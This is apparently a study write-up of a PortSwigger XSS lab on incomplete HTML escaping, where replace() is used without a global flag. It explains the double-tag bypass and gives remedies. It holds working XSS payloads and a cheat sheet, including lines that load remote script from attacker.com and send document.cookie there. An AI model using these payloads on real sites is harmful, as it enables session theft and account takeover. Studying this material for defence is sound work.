PortSwigger — 2025.11.26

Incomplete HTML Escaping: Single-Replace Double-Tag Bypass

PortSwigger XSS (incomplete output escaping) medium

Overview

Incomplete HTML escaping is a common XSS vulnerability that occurs when developers attempt to sanitize user input but fail to properly escape all occurrences of dangerous characters. The most common mistake is using JavaScript’s replace() method without the global flag, which only replaces the first occurrence of a character.

The Vulnerability Pattern

Vulnerable Code Example

function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}

// Used like:
var userInput = getUserInput();
var escaped = escapeHTML(userInput);
element.innerHTML = escaped;

Why This is Vulnerable

JavaScript’s replace() method without a regular expression global flag only replaces the first match:

// Only replaces FIRST occurrence
"<hello><world>".replace('<', '&lt;');
// Result: "&lt;hello><world>"
//          ^ First < escaped
//                  ^ Second < NOT escaped!

// With global flag - replaces ALL occurrences
"<hello><world>".replace(/</g, '&lt;');
// Result: "&lt;hello>&lt;world>"
//          ^ All < escaped

The Exploit - Double Tag Bypass

Basic Payload

<><img src=x onerror=alert(1)>

How It Works

Input:

<><img src=x onerror=alert(1)>

After first replace(‘<’, ‘<’):

&lt;><img src=x onerror=alert(1)>
^ Only first < is replaced

After second replace(‘>’, ‘>’):

&lt;&gt;<img src=x onerror=alert(1)>
     ^ Only first > is replaced
          ^^^ Second set of < and > remain untouched!

Browser renders:

  • &lt;&gt; -> Displays as literal text: <>
  • <img src=x onerror=alert(1)> -> Executes as HTML/JavaScript!

Working Payloads

Basic Alert

<><img src=x onerror=alert(1)>

Result after escaping:

&lt;&gt;<img src=x onerror=alert(1)>

Call print() for CTF

<><img src=x onerror=print()>

Execute Arbitrary Code

<><img src=x onerror=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>

Load Remote Script

<><script src=//attacker.com/exploit.js></script>

Or using img tag:

<><img src=x onerror="var s=document.createElement('script');s.src='//attacker.com/x.js';document.body.appendChild(s)">

Exfiltrate Data

<><img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>

Or:

<><img src=x onerror=document.location='//attacker.com/?c='+document.cookie>

Using SVG

<><svg onload=alert(1)>

SVG is often less filtered:

<><svg onload=fetch('//attacker.com/log?data='+document.cookie)>

Using Script Tag

<><script>alert(document.domain)</script>

Using Iframe

<><iframe src="javascript:alert(1)">

Or:

<><iframe onload=alert(1)>

Using Body Tag

<><body onload=alert(1)>

Alternative Bypass Techniques

Using Double Image Tags

<img><img src=x onerror=alert(1)>

Result:

&lt;img><img src=x onerror=alert(1)>

The first <img> is broken, but the second one works!

Using Any Valid Tag First

<div><img src=x onerror=alert(1)>
<span><img src=x onerror=alert(1)>
<a><img src=x onerror=alert(1)>

All of these work because the first tag absorbs the escaping.

Minimal Payload

<><img src onerror=alert(1)>

Even without the =x, the img will fail to load and trigger onerror.

Step-by-Step Exploitation

Step 1: Verify Single Replace Behavior

Test input:

<<

Expected output:

&lt;<

If you see this, it confirms only the first < is escaped.

Step 2: Test with Double Angle Brackets

Test input:

<><>

Expected output:

&lt;&gt;<>

The second set should render as actual <> in the HTML.

Step 3: Inject Console Log

Test input:

<><img src=x onerror=console.log('XSS')>

Check browser console for the log message.

Step 4: Full XSS

Test input:

<><img src=x onerror=alert(1)>

Alert should pop up.

Understanding the Flaw

What the Developer Intended

Developers often think this code is safe:

function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}

They believe it converts:

  • <script> -> &lt;script&gt;

But it actually converts:

  • <script> -> &lt;script>
  • Only the first < is escaped!

Why replace() Without Global Flag Fails

// String.replace(searchValue, replaceValue)
// When searchValue is a STRING (not regex), it only replaces FIRST match

var text = "<hello><world>";

// Only first match
text.replace('<', '[');     // "[hello><world>"

// To replace all, use REGEX with global flag
text.replace(/</g, '[');    // "[hello>[world>"

The Security Implication

Attackers can use a dummy tag to “absorb” the single escape operation, then inject their malicious payload:

Dummy Tag        Malicious Payload
    ↓                    ↓
   <><img src=x onerror=alert(1)>
   ↑↑ These get escaped
        ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
        These execute!

Real-World Example

Vulnerable Application

HTML:

<!DOCTYPE html>
<html>
<head><title>Comments</title></head>
<body>
    <div id="comments"></div>
    <form id="commentForm">
        <textarea name="comment"></textarea>
        <button type="submit">Post</button>
    </form>
    <script src="app.js"></script>
</body>
</html>

app.js:

function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}

function displayComment(comment) {
    var escaped = escapeHTML(comment);
    var commentsDiv = document.getElementById('comments');
    commentsDiv.innerHTML += '<p>' + escaped + '</p>';
}

document.getElementById('commentForm').onsubmit = function(e) {
    e.preventDefault();
    var comment = this.comment.value;
    displayComment(comment);
};

The Attack

Attacker submits comment:

<><img src=x onerror=fetch('//attacker.com/?cookie='+document.cookie)>

After escaping:

&lt;&gt;<img src=x onerror=fetch('//attacker.com/?cookie='+document.cookie)>

Rendered HTML:

<p>&lt;&gt;<img src=x onerror=fetch('//attacker.com/?cookie='+document.cookie)></p>

Result:

  • User’s cookies are exfiltrated to attacker’s server
  • Other users viewing the comment are also affected (Stored XSS)

URL Encoding

If injecting via URL parameters:

%3C%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E

Decodes to:

<><img src=x onerror=alert(1)>

Encoding Table

Character URL Encoded
< %3C
> %3E
Space %20
" %22
' %27
= %3D
/ %2F

Variations of the Vulnerability

Only Escaping Opening Tag

Some code only escapes <:

function escapeHTML(html) {
    return html.replace('<', '&lt;');
}

Bypass:

<><img src=x onerror=alert(1)>

Still works! The > doesn’t need escaping for the second tag to work.

Only Escaping Closing Tag

Rarely, code only escapes >:

function escapeHTML(html) {
    return html.replace('>', '&gt;');
}

Bypass:

<><img src=x onerror=alert(1)>

Still works!

Escaping in Wrong Order

Some developers escape > before <:

function escapeHTML(html) {
    return html.replace('>', '&gt;').replace('<', '&lt;');
}

Same bypass:

<><img src=x onerror=alert(1)>

Order doesn’t matter - still only first occurrence is replaced.

Testing for This Vulnerability

Quick Detection Test

Input:

<<<

Check output:

  • If you see &lt;<< -> Vulnerable (only first escaped)
  • If you see &lt;&lt;&lt; -> Properly escaped

Automated Testing

Use Burp Suite or custom script:

import requests

url = "https://target.com/comment"
payload = "<><img src=x onerror=alert(1)>"

response = requests.post(url, data={"comment": payload})

if "<img src=x onerror=" in response.text:
    print("[!] Vulnerable to incomplete escaping XSS!")
else:
    print("[+] Properly escaped")

Manual Testing Checklist

  1. Submit << and check if only first < is escaped
  2. Submit <><> and verify second set renders as HTML
  3. Submit <><img src=x onerror=console.log('test')> and check console
  4. Submit full XSS payload
  5. Verify alert/print executes

Defense and Prevention

The Correct Way to Escape

Use Global Regex

function escapeHTML(html) {
    return html
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;');
}

The /g flag ensures ALL occurrences are replaced.

Escape All Dangerous Characters

function escapeHTML(html) {
    return html
        .replace(/&/g, '&amp;')   // Must be first!
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;')
        .replace(/\//g, '&#x2F;');  // Forward slash
}

Important: Escape & first, otherwise you’ll double-escape other entities!

Use a Trusted Library

// Using DOMPurify
var clean = DOMPurify.sanitize(dirty);

// Using he (HTML entities)
var encoded = he.encode(userInput);

Use textContent Instead of innerHTML

// Vulnerable
element.innerHTML = userInput;

// Safe - automatically escapes
element.textContent = userInput;

Use DOM Methods

// Safe approach
function escapeHTML(html) {
    var div = document.createElement('div');
    div.textContent = html;
    return div.innerHTML;
}

This leverages the browser’s built-in escaping.

Modern Approach with Template Literals

function createSafeHTML(strings, ...values) {
    return strings.reduce((result, str, i) => {
        var value = values[i - 1];
        if (value !== undefined) {
            value = escapeHTML(String(value));
        }
        return result + value + str;
    });
}

// Usage
var html = createSafeHTML`<div>${userInput}</div>`;

Content Security Policy

Add CSP header as defense-in-depth:

Content-Security-Policy: default-src 'self'; script-src 'self'

This blocks inline scripts and external script sources.

Common Mistakes

Mistake 1: Using replace() Without Global Flag

// WRONG - Only replaces first occurrence
html.replace('<', '&lt;')

// CORRECT - Replaces all occurrences
html.replace(/</g, '&lt;')

Mistake 2: Forgetting to Escape Ampersand First

// WRONG - Creates double-escaping
function escape(html) {
    return html
        .replace(/</g, '&lt;')    // "<" becomes "&lt;"
        .replace(/&/g, '&amp;');  // Now "&lt;" becomes "&amp;lt;"
}

// CORRECT - Escape & first
function escape(html) {
    return html
        .replace(/&/g, '&amp;')   // Must be first!
        .replace(/</g, '&lt;');
}

Mistake 3: Only Escaping Angle Brackets

// INCOMPLETE - Missing quotes, ampersands, etc.
function escape(html) {
    return html
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;');
}

Attack in attribute context:

<div data-comment="" onload="alert(1)" data-x=""></div>

Mistake 4: Using Blacklists

// WRONG - Easy to bypass
function filter(html) {
    return html
        .replace('script', '')
        .replace('onerror', '');
}

Bypasses:

  • <scr<script>ipt>
  • oonneerrorror
  • Case variations: OnErRoR

Edge Cases and Advanced Scenarios

When Used in Attributes

Even with proper escaping, attribute context can be dangerous:

<div data-value="properly&lt;escaped&gt;" onload="alert(1)"></div>
                                        ↑ New attribute injected!

Must also escape quotes.

When Used in JavaScript Strings

var data = "<?php echo escapeHTML($userInput); ?>";

HTML escaping doesn’t protect against JavaScript context attacks:

"; alert(1); //

Need JavaScript-specific escaping.

When Used with innerHTML

element.innerHTML = escapeHTML(userInput);

Even properly escaped, some payloads might work with HTML parsing quirks.

Better:

element.textContent = userInput;  // No parsing, always safe

Key Takeaways

  1. replace() without /g flag only replaces first occurrence - Always use regex with global flag
  2. Double tag bypass is the key exploit - <><img> bypasses single-replace escaping
  3. First tag absorbs the escape - Second tag executes as HTML
  4. Test with << to detect vulnerability - If only first is escaped, it’s vulnerable
  5. Use library functions or textContent - Don’t write custom escaping
  6. Escape all dangerous characters - Not just < and >
  7. Order matters for ampersand - Escape & first to avoid double-escaping
  8. Context-specific escaping is crucial - HTML escaping doesn’t protect JS context

Quick Reference

Payload Cheat Sheet

# Basic alert
<><img src=x onerror=alert(1)>

# Call print()
<><img src=x onerror=print()>

# SVG variant
<><svg onload=alert(1)>

# Script tag
<><script>alert(1)</script>

# Load remote script
<><script src=//attacker.com/x.js></script>

# Exfiltrate cookies
<><img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>

# Using iframe
<><iframe src="javascript:alert(1)">

# Minimal payload
<><img src onerror=alert(1)>

Detection Pattern

// Test input
Input: <<

// If vulnerable, output will be:
Output: &lt;<
        ↑ First escaped
            ↑ Second NOT escaped

// If properly fixed:
Output: &lt;&lt;
        Both escaped

Proper Fix

// BEFORE (Vulnerable)
function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}

// AFTER (Fixed)
function escapeHTML(html) {
    return html
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#x27;');
}
#xss #html-escaping #replace-bug #dom #portswigger #webapp